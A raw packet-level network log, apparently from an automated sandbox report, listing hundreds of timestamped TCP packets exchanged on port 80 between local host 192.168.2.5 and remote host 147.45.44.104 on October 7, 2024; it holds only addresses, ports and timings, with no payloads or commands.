Oct 7, 2024 21:18:52.667983055 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.668320894 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.668374062 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.668407917 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.668427944 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.668443918 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.668448925 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.668487072 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.668510914 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.668543100 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.668549061 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.668576956 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.668584108 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.668611050 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.668616056 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.668644905 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.668649912 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.668694019 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.668695927 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.668730021 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.668742895 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.668764114 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.668787003 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.668798923 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.668811083 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.668838024 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.669260025 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.669312000 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.669362068 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.737736940 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.737822056 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.737838030 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.737855911 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.737893105 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.737915993 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.737926006 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.737955093 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.737977982 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.737988949 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.738013029 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.738034964 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.738051891 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.738065958 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.738085032 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.738099098 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.738116980 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.738135099 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.738153934 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.738161087 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.738197088 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.738255024 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.738287926 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.738301992 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.738321066 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.738332033 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.738353968 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.738363028 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.738388062 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.738394976 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.738420010 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.738430023 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.738455057 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.738464117 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.738496065 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.738578081 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.738629103 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.738652945 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.738688946 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.738701105 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.738722086 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.738734961 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.738769054 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.738789082 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.738822937 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.738841057 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.738867044 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.738904953 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.738939047 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.738950014 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.738971949 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.738981962 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.739015102 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.739042044 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.739077091 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.739084959 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.739110947 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.739139080 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.739149094 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.739228010 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.739259958 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.739270926 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.739294052 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.739303112 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.739327908 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.739339113 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.739361048 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.739371061 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.739413023 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.739418030 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.739468098 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.739469051 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.739499092 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.739531040 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.739546061 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.739563942 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.739578009 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.739615917 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.739644051 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.739676952 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.739689112 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.739711046 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.739717960 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.739743948 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.739752054 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.739778996 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.739784956 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.739811897 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.739820957 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.739852905 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.739896059 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.739931107 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.739963055 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.739974022 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.739995956 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.740004063 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.740030050 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.740039110 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.740063906 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.740072966 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.740098000 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.740106106 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.740139961 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.740243912 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.740387917 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.743114948 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.743165970 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.743168116 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.743201017 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.743213892 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.743248940 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.743252039 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.743283987 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.743316889 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.743334055 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.743350029 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.743369102 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.743396997 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.748743057 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.748790979 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.748795986 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.748828888 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.748840094 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.748881102 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.748909950 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.748941898 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.748975992 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.749000072 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.749026060 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.749083042 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.749114990 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.749128103 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.749147892 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.749157906 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.749181986 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.749190092 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.749222040 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.749341965 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.749373913 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.749389887 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.749408007 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.749414921 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.749440908 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.749464989 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.749474049 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.749486923 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.749506950 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.749520063 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.749540091 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.749560118 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.749591112 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.749722958 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.749754906 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.749769926 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.749789000 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.749799013 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.749823093 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.749833107 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.749855995 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.749880075 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.749887943 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.749897957 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.749921083 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.749933004 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.749954939 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.749963999 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.749999046 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.750019073 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.750065088 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.750124931 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.750159025 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.750171900 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.750191927 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.750202894 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.750226021 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.750235081 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.750258923 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.750269890 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.750292063 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.750303030 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.750325918 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.750334978 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.750370979 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.750516891 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.750550032 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.750562906 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.750581980 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.750595093 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.750614882 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.750624895 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.750648022 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.750654936 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.750680923 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.750715017 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.750722885 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.750756979 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.750991106 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.751023054 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.751041889 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.751055956 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.751063108 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.751087904 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.751097918 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.751121998 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.751128912 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.751154900 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.751163960 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.751187086 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.751195908 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.751219034 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.751230001 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.751252890 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.751260042 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.751286030 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.751293898 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.751319885 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.751327038 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.751353025 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.751358986 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.751396894 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.751401901 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.751441002 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.751447916 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.751476049 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.751481056 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.751516104 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.820224047 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.820282936 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.820282936 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.820312977 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.820327044 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.820358992 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.820363045 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.820394993 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.820440054 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.820444107 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.820476055 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.820489883 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.820508957 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.820522070 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.820554018 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.823671103 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.823721886 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.823723078 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.823769093 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.823772907 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.823805094 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.823813915 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.823844910 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.824021101 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.824071884 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.824074030 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.824105978 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.824140072 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.824141026 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.824158907 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.824186087 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.824220896 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.824253082 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.824295044 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.824476004 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.824510098 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.824527979 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.824542046 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.824551105 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.824578047 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.824584007 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.824618101 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.824662924 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.824696064 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.824703932 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.824728966 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.824733973 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.824762106 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.824769974 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.824795008 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.824804068 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.824829102 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.824835062 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.824862957 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.824870110 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.824897051 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.824904919 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.824932098 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.824944973 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.824980021 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.825133085 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.825166941 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.825186014 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.825201035 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.825210094 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.825233936 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.825249910 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.825268030 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.825283051 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.825300932 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.825333118 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.825342894 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.825366974 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.825376987 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.825398922 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.825406075 CEST	49932	80	192.168.2.5	147.45.44.104
Oct 7, 2024 21:18:52.825433016 CEST	80	49932	147.45.44.104	192.168.2.5
Oct 7, 2024 21:18:52.825449944 CEST	49932	80	192.168.2.5	147.45.44.104
